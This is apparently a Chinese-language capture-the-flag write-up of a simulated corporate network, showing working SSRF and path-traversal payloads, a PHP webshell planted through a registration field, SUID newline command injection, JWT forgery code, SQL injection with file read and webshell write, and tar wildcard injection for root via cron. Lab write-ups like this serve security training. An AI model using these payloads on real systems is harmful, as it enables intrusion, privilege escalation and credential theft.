题目背景
寰宇科技集团总部位于浣熊市高新技术产业园区寰宇大道 1 号,以“智能驱动、绿色高效”为理念,业务覆盖能源技术、自动化系统、机械装备与信息技术,为工业制造、基础设施及能源管理领域提供从核心装备到数字化管控的一体化解决方案。 集团这些年不断扩张,系统也越堆越多:对外有供应链协同平台和集团官网,内部有 OA、视频监控、文档处理、授权管理,还有刚上线不久的单点登录,以及数据存储、缓存和一台 Vue 小站。它们承载着集团的日常运转,也藏着一些不该被外人看见的东西。 你将以外部攻击者的身份走进这张网络,把藏在系统深处的 flag 逐一找出来。
任务1:获取"寰宇科技集团"供应链协同平台网站联调账号,flag为联调账号的账号密码,格式为flag{账号/密码}

给的ip有两个,首先进行信息收集找到供应链平台的地址是10.1.15.50,端口80

想到账号密码,第一反应就是藏在源码中,直接查看网站源码找到:flag{supplier_demo/Huanyu2026!}
任务2:获取"寰宇科技集团"供应链协同平台网站所使用的JWT密钥,flag为JWT密钥值,格式为flag{xxx}

扫描一下发下泄露www.zip,可以进行下载,下载即可获得网站源码

首先找到存放jwt密钥的文件位置为/opt/supplylink/config/jwt.key

再看到这里,有可以读取文件的操作,但是因为目录名称为internal,所以从外部是不能直接读取的,先看看有没有可以ssrf的地方

看到这里的jump.php文件,关键是最后一行
header('Location: ' . $target, true, 302);
这里存在重定向,并且没有任何过滤,因此我们可以构造payload直接访问内部服务

再看到dashboard.php文件,有一行注释,服务地址为8081,所以我们在后续的ssrf时,填写的时内部服务端口8081,而非映射到外部的端口80

再审计下preview.php,里面有个小waf,就是会把../替换为空,绕过很简单,....//即可。分析完成,最终能够构造出的payload如下:
http://cache.rebind.huanyutech.cn/jump.php?url=http://127.0.0.1:8081/debug/preview.php?file=....//....//....//opt/supplylink/config/jwt.key
----- archive inspection report -----
generated at 2026-11-06 ...
-------------------------------------
JStar_Global_Technology
---------------- end ----------------
在比赛中,我的选择是先跳过,因为后面一题是需要获取主机权限,我拿到主机权限实际上找jwt就不是什么难事了。能够rce之后,直接去读取该文件即可:flag{JStar_Global_Technology}
任务3:获取"寰宇科技集团"供应链协同平台系统控制权,flag为root目录下的flag.txt文件内容,格式为flag{xxx}

可以看到这里的供应链平台是有注册功能的,继续审计源码

从db.php文件中可以看到本网站的数据库文件路径为/var/www/supplylink/storage/supplylink.db

再看auth.php中的关于注册相关的代码:
function create_user(string $username, string $displayName, string $password): int
{
$username = trim($username);
$displayName = trim($displayName);
if (!preg_match('/\A[a-zA-Z0-9_]{3,32}\z/', $username)) {
thrownew InvalidArgumentException('用户名仅允许 3-32 位字母、数字和下划线。');
}
if ($displayName === '' || strlen($displayName) > 64) {
thrownew InvalidArgumentException('显示名称不能为空,且长度不能超过 64。');
}
if (strlen($password) < 8) {
thrownew InvalidArgumentException('密码长度至少为 8 位。');
}
if (find_user_by_username($username) !== null) {
thrownew InvalidArgumentException('用户名已存在。');
}
$stmt = db()->prepare(
'INSERT INTO users (username, display_name, password_hash, created_at) VALUES (:username, :display_name, :password_hash, datetime(\'now\'))'
);
$stmt->execute([
'username' => $username,
'display_name' => $displayName,
'password_hash' => password_hash($password, PASSWORD_DEFAULT),
]);
return (int) db()->lastInsertId();
}
注册时会有三个参数,username,displayName和password,注册完之后这些参数会入库,即写入数据库文件。我们可以利用displayName参数,写入一个长度小于64的一句话木马,然后再利用刚才的ssrf进行rce
<?php echo "M1";system($_GET[c]);echo "M2";?>
至于为什么能够进行rce还要回到刚才的preview.php上:
include $target;
读取文件的方式是通过include函数进行加载的。而include函数有特性,就是无论是什么类型的文件,只要解析到有<?php开头的内容,就会当作php文件进行解析执行。该数据库通过db.php可知是SQLite ,该数据库的TEXT 列就是 UTF-8 原始字节,不加密、不压缩、不做 HTML 实体化。<、?、"、(、[ 一个都不会变所以。我们通过注册在数据库文件中写入一句话木马,再利用ssrf去读取该数据库文件,即可进行rce操作
http://cache.rebind.huanyutech.cn/jump.php?url=http://127.0.0.1:8081/debug/preview.php?file=....//....//....//....//var/www/supplylink/storage/supplylink.db&c=id
#uid=33(www-data) gid=33(www-data) groups=33(www-data)
因为flag在/root目录下,当前权限是www-data,所以下一步我们还需要进行提权操作
find / -perm -4000 -type f 2>/dev/null
枚举suid,常规系统程序之外,多了一个不寻常的:/usr/local/bin/svc-log
ls -l /usr/local/bin/svc-log
# -rwsr-xr-x 1 root root 8984 ... /usr/local/bin/svc-log
-rws + owner 是 root → 以 root 身份运行的普通权限程序,而且只有 8984 字节(很小,说明逻辑简单,就是为了被审)
strings /usr/local/bin/svc-log
#Usage: svc-log <log-name>
#invalid log name
#strpbrk
#tail -n 100 /var/log/%s.log
结合 ls -l 的大小和这些字符串,可以还原出它的逻辑:
int main(int argc, char **argv) {
if (argc < 2) { puts("Usage: svc-log <log-name>"); return 1; }
if (strpbrk(argv[1], ";|&><") != NULL) { // ← 黑名单
puts("invalid log name");
return 1;
}
char cmd[256];
snprintf(cmd, sizeof(cmd), "tail -n 100 /var/log/%s.log", argv[1]);
return system(cmd); // ← root 执行
}
换行 \n在shell 里等价于 ;,空格、#、引号、/、$()、反引号都不在黑名单中,所以最终构造出的c参数的值为
/usr/local/bin/svc-log "x.log\ncat /root/flag.txt\n#" # \n = 真实换行
我们把参数值带入到代码逻辑中:
tail -n 100 /var/log/x.log␊cat /root/flag.txt␊#.log //(`␊` = 真实的换行字节 `0x0A`)
system函数执行的命令是tail -n 100 /var/log/x.log,然后换行,再执行命令cat /root/flag.txt,再换行,后面的内容被#注释,这里,我们就可以利用root权限读取到flag值
M1flag{fd8672fb6f7abed376ffc8eff4b012ce}M2
接着就是写入私钥ssh远连,然后进行一波信息收集,发现没有内网环境,所以该主机的渗透就告一段落了

任务4:获取"寰宇科技集团"官网管理员密码,flag为管理员admin登录密码,格式为flag{xxx}


信息收集得到官网是10.1.15.51这个靶标

也是看源码找到一个测试帐密bob/bob,登录并得到PHPSESSID值:
Set-Cookie: PHPSESSID=6vvtg3nq9djhs555as4vslrc45; path=/

再看robots.txt,看到有/tmp/sess_PHHSESSID,应该就是session文件的位置,带入刚才登录得到的PHPSESSID值
http://10.1.15.51/tmp/sess_6vvtg3nq9djhs555as4vslrc45
#jwt_token|s:124:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImJvYiIsInJvbGUiOiJ1c2VyIn0.FmbiN01ifyoAZhpJJhFHM4ddke4P2FtugtPBN-zqvwk";user|a:2:{s:8:"username";s:3:"bob";s:4:"role";s:4:"user";}
测试发现两个网站的jwt密钥是公用的,所以可以直接进行jwt伪造
import base64,hmac,hashlib
key = b'JStar_Global_Technology'
def b64(d): return base64.urlsafe_b64encode(d).rstrip(b'=').decode()
h = b64(b'{"typ":"JWT","alg":"HS256"}')
p = b64(b'{"username":"admin","role":"admin"}')
tok = h + '.' + p + '.' + b64(hmac.new(key, (h + '.' + p).encode(), hashlib.sha256).digest())
print(tok)
#eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.NTFo7eX7T-sTZYZs8w0czdi53wVwr9ML4CpFubiQcls
接着再伪造一个session文件:sess_pwn1
jwt_token|s:128:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.NTFo7eX7T-sTZYZs8w0czdi53wVwr9ML4CpFubiQcls";user|a:2:{s:8:"username";s:5:"admin";s:4:"role";s:5:"admin";}

使用测试账密登录会找到头像上传功能,可以自定义保存目录。测试发现,文件后缀是白名单,一开始想上传木马文件未果。但是对无后缀文件是没有限制的,所以可以利用该特性讲伪造的session文件

我们需要修改参数save_path值为../tmp/,filename值为sess_pwn1即可,回显如下:
<div class="message">文件上传成功: /xp/www/uploads/../tmp/sess_pwn1</div>

上传成功后,我们可以直接修改cookie值,把PHPSESSID值改为pwn1即可获取admin权限
curl -s -b "PHPSESSID=pwn1" http://10.1.15.51/admin/index.php
# <span class="nav-user">admin · 管理员</span>
得到管理员权限后,会找到一个新闻查询的功能,有个search参数,测试发现存在sql注入漏洞,直接union查询获取admin密码
curl -s -b "PHPSESSID=pwn1" --get \
--data-urlencode "search=x' AND 1=0 UNION SELECT 1,GROUP_CONCAT(CONCAT(username,':',password,':',role)),3,4 FROM users -- -" \
http://10.1.15.51/admin/index.php
# bob:bob:user, admin:Kq762onX:admin
所以答案就是flag{Kq762onX}
任务5:获取"寰宇科技集团"官网系统数据库信息,flag为系统数据库root连接密码,格式为flag{xxx}
在刚才sql注入的漏洞基础上继续进行利用,首先就是确认身份
curl -s -b "PHPSESSID=pwn1" --get --data-urlencode \
"search=x' AND 1=0 UNION SELECT 1,CONCAT(CURRENT_USER(),' | ',@@version),3,4 FROM DUAL -- -" \
http://10.1.15.51/admin/index.php
#root@localhost | 5.7.43-log
应用是以 root 连的 MySQL,而且 root 一般带 FILE 权限 ,可以直接读服务器文件,我们可以用 LOAD_FILE() 读应用配置

一开始的信息收集发现该主机上存在小皮面板

进行目录扫描也能发现有config.php这个文件存在。

在之前进行上传测试的时候会发现,回显直接暴漏网站根目录位置:/xp/www/,所以推测出配置文件的位置就是/xp/www/config.php,使用sql注入直接读取
curl -s -b "PHPSESSID=pwn1" --get --data-urlencode \
"search=x' AND 1=0 UNION SELECT 1,LOAD_FILE('/xp/www/config.php'),3,4 -- -" \
http://10.1.15.51/admin/index.php
<?php
define('DB_HOST', 'localhost');
define('DB_NAME', 'jxbeauty');
define('DB_USER', 'root');
define('DB_PASS', 'root@jiaxin#123');
define('JWT_SECRET', 'JStar_Global_Technology');
define('SITE_NAME', '寰宇科技集团');
define('UPLOAD_PATH', __DIR__ . '/uploads/');
define('SESSION_PATH', __DIR__ . '/tmp/');
直接读取出数据库信息,所以答案是flag{root@jiaxin#123}
任务6:获取"寰宇科技集团"官网系统服务器root目录下的password.txt信息,flag为password.txt中记录的值,格式为flag{xxx}
依旧是利用sql注入漏洞
x' UNION SELECT 1,2,3,CONCAT(@@plugin_dir,'|',@@secure_file_priv)-- -
/xp/server/mysql/lib/plugin/|
@@secure_file_priv 为空 说明任意路径读写;@@plugin_dir 存在且 mysql 可写 ,UDF 可行。所以我们可以通过mysql写入webshell进行rce
x' AND 1=0 UNION SELECT 1,2,3,UNHEX('3C3F706870206563686F20224D31223B73797374656D28245F4745545B305D293B6563686F20224D32223B') INTO OUTFILE '/xp/www/tmp/1.php'-- -

curl -s 'http://10.1.15.51/1.php?0=id'
# M1uid=1001(www) gid=1001(www) groups=1001(www)M2
测试发现不是root权限,还是需要进一步提权操作,测试发现UDF提权无果,转而进行一系列的信息收集工作
cat /etc/crontab | tail -3
# */5 * * * * root /root/tar.sh
收集发现计划任务下有以root权限执行的文件tar.sh,读取一下这个文件
#!/bin/bash
# config
SOURCE_DIR="/xp/www"
BACKUP_DIR="/backup"
LOG_DIR="/xp/www/LoG_backUP"
BACKUP_NAME="xp_www_JStar.tar"
LOG_FILE="${LOG_DIR}/backup.log"
mkdir -p "$LOG_DIR"
mkdir -p "$BACKUP_DIR"
# delete
if [ -f "$BACKUP_DIR/$BACKUP_NAME" ]; then
rm -f "$BACKUP_DIR/$BACKUP_NAME"
fi
# backup
cd"$SOURCE_DIR" && tar -cf "$BACKUP_NAME" *
if [ $? -eq 0 ]; then
mv "$SOURCE_DIR/$BACKUP_NAME""$BACKUP_DIR/" 2>/dev/null
...
cd "$SOURCE_DIR" && tar -cf "$BACKUP_NAME" *是典型的 tar 通配符注入。
shell 展开 * 时,会把目录下所有文件名原样变成 tar 的 argv。
如果目录里存在一个名字本身就是 tar 选项的文件,tar 会把它当选项解析。
GNU tar 有两个"危险但合法"的选项:
--checkpoint=1 | |
--checkpoint-action=exec=<cmd> | <cmd> |
两者配合 = 以 tar 进程的身份(这里是 root)执行任意命令。当前我们有www权限,所以可以在/xp/www/目录下写入内容
cd /xp/www
# 1) 载荷脚本
cat > shell.sh <<'EOS'
#!/bin/sh
{
echo "=== id ==="; id
echo "=== /root/password.txt ==="; cat /root/password.txt
echo "=== /root/tar.sh ==="; cat /root/tar.sh
echo "=== ls -la /root ==="; ls -la /root
} > /tmp/root_out.txt 2>&1
chmod 666 /tmp/root_out.txt
touch /tmp/pwned
chmod 666 /tmp/pwned
EOS
chmod 755 shell.sh
# 2) 两个"参数"文件(文件名本身就是 tar 的选项)
: > './--checkpoint=1'
: > './--checkpoint-action=exec=sh shell.sh'
等下一轮 cron,tar.sh执行后会去解析这两个文件名字,从而以root权限去读取/root/password.txt文件内容
cat /tmp/root_out.txt
=== id ===
uid=0(root) gid=0(root) groups=0(root)
=== /root/password.txt ===
w92TmAgM
=== /root/tar.sh ===
#!/bin/bash
...
所以答案就是flag{w92TmAgM}
任务7:在内网中存在一台维护的OA系统,flag为当前OA系统所使用的commons_collections组件版本号,格式为flag{x.x.xx}
接下来让本地写一个exp脚本,然后对该主机进行一个信息收集

可以看到该主机有两张网卡,还有一张就是通向一层内网的环境

这里我选择搭建内网隧道,用python起http服务传文件,然后使用的是队友的电脑做流量转发

然后再传入fscan对内网环境进行信息收集,发现192.168.200.88这台主机上面部署的就是我们要找的OA系统


查看源码,在顶部发现commons_collections组件版本号,所以答案就是flag{3.2.1}
任务8:在维护的OA系统,存在Tomcat服务,flag为当前服务管理员root密码,格式为flag{xxx}
没找到,没有后续😭😭😭
任务9:获取视频监控平台(192.168.200.36)权限,flag为视频监控平台中,摄像头一监控地址,格式为flag{位置}
信息收集找到监控平台是192.168.200.36这台机子

这里测试了半天也没有后续,漏扫,口令爆破,未授权测试都试了遍,还是没能成功😭😭😭
任务10:经常有人会问运维管理员小王不知道为什么把监控管理系统(192.168.200.36)的管理员密码放在了服务器中,试着进去找一下吧,flag为当前网站管理员admin的密码,格式为flag{xxx}
估计是要获取权限,这一步更难了😭😭😭
任务11:内网中的授权管理平台 LicenFlow,登录接入了公司自建 SSO。运维说 SSO 很简单,填个邮箱就能进。平台的授权导出功能只有系统管理员能用,flag 为平台里的一条审计记录,格式为flag{xxx}

找到靶标:192.168.200.16,但是测试还是一无所获,完全没有思路
任务12:在集团网络中一套刚上线的单点登录平台,开发阶段的测试接口忘了摘。获取在服务器上关键内容,flag为系统中记录的flag值,格式为flag{xxx}

不确定是不是这个靶标,直接访问是404,访问/sso/回显请先登录。但是一通测试也是无果😭😭😭

任务13:内网中的文档处理中心平台常用于内部的员工进行文档转换,但文档转换API服务存在漏洞,flag为存在漏洞文档转换服务API名称,格式为flag{xxx API}

确认api是在192.168.200.23:3000上,直接访问就能看到API的名称:Gotenberg,所以答案就是flag{Gotenberg API}
任务14:内网中的文档处理中心平台近期被发现存在漏洞,运维小王为了图方便直接在当前服务器中连接了数据库服务器,获取连接时使用的mysql服务的连接账号密码,flag为密码值,格式为flag{xxx}
任务15:在172.16.10.0/24网段中的数据存储中心数据库密码遭到意外泄露,运维小王不相信一个数据库的密码泄露会造成系统的失陷,拿到root目录下的flag.txt文件证明给他看,flag为/root/flag.txt中的内容,格式为flag{xxx}
任务16:数据缓存服务器(172.16.10.37)缓存有一个敏感信息键值,flag为该键的值,格式为flag{键值}
任务17:获取Redis服务器的操作系统版本信息,flag为在/etc/redhat-release.bak中看到的操作系统版本号,格式为flag{x.x.xxx_xxx}
任务18:网络中有一个安静的Vue小站:注册、登录,写一句个人简介,你就有了自己的主页。好友列表里只躺着一位管理员,点一下就能请他过来看看—他很忙,但从不拒绝,flag为获取到flag值,格式为flag{xxx}
后面的题目通通不会,需要拿到其他主机的权限,进入二层内网环境😭😭😭佬们如果有做出其他题目欢迎补充,请务必把wp砸我脸上😭😭😭
感慨:
比赛结束了,没有成功的喜悦,只有一身的疲惫和迷茫。经验、解题思路、渗透工具、团队合作似乎显得如此微不足道。倒计时停止的那一刻,突然回想起之前为了打通靶场,熬夜测漏洞、挂代理、分析拓扑……这些,我已经不知道还有没有意义了😮💨